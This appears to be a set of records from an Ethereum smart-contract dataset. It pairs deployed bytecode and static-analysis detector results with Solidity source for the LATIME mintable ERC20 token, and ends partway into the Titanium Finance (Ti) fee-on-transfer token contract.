b6000811161064557600080fd5b8060018190555050565b60055481565b600b6020528060005260406000206000915054906101000a900460ff1681565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e157600080fd5b6000600354116106f057600080fd5b60006003549050816003819055507f2a5cda4d16fba415b52d90b59ee30d4cb16494da9fd1ee51c4d5bac4a1f75bbe8183604051808381526020018281526020019250505060405180910390a15050565b60015481565b600081565b60065481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60075481565b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156107f157600080fd5b505afa158015610805573d6000803e3d6000fd5b505050506040513d606081101561081b57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600061089483610886670de0b6b3a764000085610f7390919063ffffffff16565b610fad90919063ffffffff16565b905080935050505090565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108d757600080fd5b6108e033610fd3565b6108e957600080fd5b6108f1610e46565b4261090960045460055461102990919063ffffffff16565b1061091357600080fd5b42600581905550610930600160085461102990919063ffffffff16565b6008819055506000610940610784565b905060008061094e83611048565b91509150600082905061096c60015482610fad90919063ffffffff16565b90506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508215610b3a578073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e157600080fd5b505afa1580156109f5573d6000803e3d6000fd5b505050506040513d6020811015610a0b57600080fd5b8101908080519060200190929190505050610ae3670de0b6b3a7640000610ad5610a4686670de0b6b3a764000061102990919063ffffffff16565b8573ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d6020811015610ab657600080fd5b8101908080519060200190929190505050610f7390919063ffffffff16565b610fad90919063ffffffff16565b10610b39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806111df6022913960400191505060405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff16637af548c160085484866040518463ffffffff1660e01b815260040180848152602001838152602001821515151581526020019350505050602060405180830381600087803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b505050506040513d6020811015610bcd57600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2557600080fd5b505afa158015610c39573d6000803e3d6000fd5b505050506040513d6020811015610c4f57600080fd5b81019080805190602001909291905050508173ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ca657600080fd5b505afa158015610cba573d6000803e3d6000fd5b505050506040513d6020811015610cd057600080fd5b81019080805190602001909291905050501115610ce957fe5b5050505050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d7557600080fd5b60008111610d8257600080fd5b8060028190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610deb57600080fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600654610e5e6004544261110f90919063ffffffff16565b1015610ed2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f746f6f206561726c79000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ee960075460065461102990919063ffffffff16565b610efe6004544261110f90919063ffffffff16565b10610f71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f746f6f206c61746500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b565b600080831415610f865760009050610fa7565b6000828402905082848281610f9757fe5b0414610fa257600080fd5b809150505b92915050565b6000808211610fbb57600080fd5b6000828481610fc657fe5b0490508091505092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008082840190508381101561103e57600080fd5b8091505092915050565b60008061105483611130565b15611068576000808191509150915061110a565b6002548311156110c0576110b56002546110a7670de0b6b3a7640000611099600254886111be90919063ffffffff16565b610f7390919063ffffffff16565b610fad90919063ffffffff16565b60019150915061110a565b6111036002546110f5670de0b6b3a76400006110e7876002546111be90919063ffffffff16565b610f7390919063ffffffff16565b610fad90919063ffffffff16565b6000915091505b915091565b60008082141561111e57600080fd5b81838161112757fe5b06905092915050565b600080611164670de0b6b3a7640000611156600354600254610f7390919063ffffffff16565b610fad90919063ffffffff16565b9050600254831015801561118b575080611189600254856111be90919063ffffffff16565b105b806111b65750600254831080156111b55750806111b3846002546111be90919063ffffffff16565b105b5b915050919050565b6000828211156111cd57600080fd5b60008284039050809150509291505056fe6e6577207363616c696e6720666163746f722077696c6c20626520746f6f20626967a264697066735822122099fb37574d3010618d8cabeaa827adddedc5227b30f66e8cef6853fff502d01764736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,097
0x94d5548934e683f8a4ea5d66f00e759b6b60206f
pragma solidity ^0.4.18; // Latino Token - Latinos Unidos Impulsando la CriptoEconomía - latinotoken.com /** * @title ERC20Basic interface * @dev Basic version of ERC20 interface */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev Standard version of ERC20 interface */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mod(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a % b; //uint256 z = a / b; assert(a == (a / b) * b + c); // There is no case in which this doesn't hold return c; } } /** * @title Ownable * @dev The modified Ownable contract has two owner addresses to provide authorization control * functions. */ contract Ownable { address public owner; address public ownerManualMinter; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { /** * ownerManualMinter contains the eth address of the party allowed to manually mint outside the crowdsale contract * this is setup at construction time */ ownerManualMinter = 0xd97c302e9b5ee38ab900d3a07164c2ad43ffc044 ; // To be changed right after contract is deployed owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner || msg.sender == ownerManualMinter); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * This shall be invoked with the ICO crowd sale smart contract address once it´s ready * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev After the manual minting process ends, this shall be invoked passing the ICO crowd sale contract address so that * nobody else will be ever able to mint more tokens * @param newOwner The address to transfer ownership to. */ function transferOwnershipManualMinter(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); ownerManualMinter = newOwner; } } contract Restrictable is Ownable { address public restrictedAddress; event RestrictedAddressChanged(address indexed restrictedAddress); function Restrictable() { restrictedAddress = address(0); } //that function could be called only ONCE!!! After that nothing could be reverted!!! function setRestrictedAddress(address _restrictedAddress) onlyOwner public { restrictedAddress = _restrictedAddress; RestrictedAddressChanged(_restrictedAddress); transferOwnership(_restrictedAddress); } modifier notRestricted(address tryTo) { if(tryTo == restrictedAddress) { revert(); } _; } } /** * @title ERC20Basic Token * @dev Implementation of the basic token. */ contract BasicToken is ERC20Basic, Restrictable { using SafeMath for uint256; mapping(address => uint256) balances; uint256 public constant icoEndDatetime = 1521035143 ; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) notRestricted(_to) public returns (bool) { require(_to != address(0)); // We won´t allow to transfer tokens until the ICO finishes require(now > icoEndDatetime ); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 Token * @dev Implementation of the standard token. * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) notRestricted(_to) public returns (bool) { require(_to != address(0)); // We won´t allow to transfer tokens until the ICO finishes require(now > icoEndDatetime) ; require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev ERC20 Token, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { uint32 public constant decimals = 4; uint256 public constant MAX_SUPPLY = 700000000 * (10 ** uint256(decimals)); // 700MM tokens hard cap event Mint(address indexed to, uint256 amount); /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { uint256 newTotalSupply = totalSupply.add(_amount); require(newTotalSupply <= MAX_SUPPLY); // never ever allows to create more than the hard cap limit totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } } contract LATIME is MintableToken { string public constant name = "LATIME"; string public constant symbol = "LATIME"; function LATIME() { totalSupply = 0 ; } // initializes to 0 the total token supply }
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd14610228578063313ce567146102a157806332cb6b0c146102d657806340c10f19146102ff57806349ea33df1461035957806350713dc01461038257806366188463146103bb57806370a08231146104155780637f4ae68d146104625780638733d130146104b75780638da5cb5b1461050c57806395d89b411461056157806398973f2b146105ef578063a9059cbb14610628578063d73dd62314610682578063dd62ed3e146106dc578063f2fde38b14610748575b600080fd5b341561012257600080fd5b61012a610781565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107ba565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b6102126108ac565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108b2565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102b4610ce1565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102e157600080fd5b6102e9610ce6565b6040518082815260200191505060405180910390f35b341561030a57600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cfa565b604051808215151515815260200191505060405180910390f35b341561036457600080fd5b61036c610f40565b6040518082815260200191505060405180910390f35b341561038d57600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f48565b005b34156103c657600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110f8565b604051808215151515815260200191505060405180910390f35b341561042057600080fd5b61044c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611389565b6040518082815260200191505060405180910390f35b341561046d57600080fd5b6104756113d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c257600080fd5b6104ca6113f8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051757600080fd5b61051f61141e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056c57600080fd5b610574611444565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b4578082015181840152602081019050610599565b50505050905090810190601f1680156105e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105fa57600080fd5b610626600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061147d565b005b341561063357600080fd5b610668600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115c1565b604051808215151515815260200191505060405180910390f35b341561068d57600080fd5b6106c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611855565b604051808215151515815260200191505060405180910390f35b34156106e757600080fd5b610732600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a51565b6040518082815260200191505060405180910390f35b341561075357600080fd5b61077f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad8565b005b6040805190810160405280600681526020017f4c4154494d45000000000000000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600082600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561091057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561094c57600080fd5b635aa927874211151561095e57600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156109ac57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610a3757600080fd5b610a8983600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1e83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bf083600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8890919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600481565b600463ffffffff16600a0a6329b927000281565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610da65750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610db157600080fd5b610dc683600054611ca190919063ffffffff16565b9050600463ffffffff16600a0a6329b92700028111151515610de757600080fd5b610dfc83600054611ca190919063ffffffff16565b600081905550610e5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b635aa9278781565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ff15750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610ffc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561103857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611209576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129d565b61121c8382611c8890919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f4c4154494d45000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115265750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561153157600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fe70e47c7d6d2adce211b01e08d016c4afa1a90c764c829a637a732f35bb25f6460405160405180910390a26115be81611ad8565b50565b600082600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561161f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561165b57600080fd5b635aa927874211151561166d57600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156116bb57600080fd5b61170d83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60006118e682600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b815750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b8c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bc857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611c9657fe5b818303905092915050565b6000808284019050838110151515611cb557fe5b80915050929150505600a165627a7a72305820aafe633cdc2c6f9c52eabd67b225ae9ed762f9f9bf3311273373e9b7f8dc2d560029
{"success": true, "error": null, "results": {}}
1,098
0x48d7ff3fe57f9aac3f9a4ea658505ed50660942c
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: Unlicensed // TG: Titaniumfi pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Ti is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Titanium Finance"; string private constant _symbol = "Ti"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => 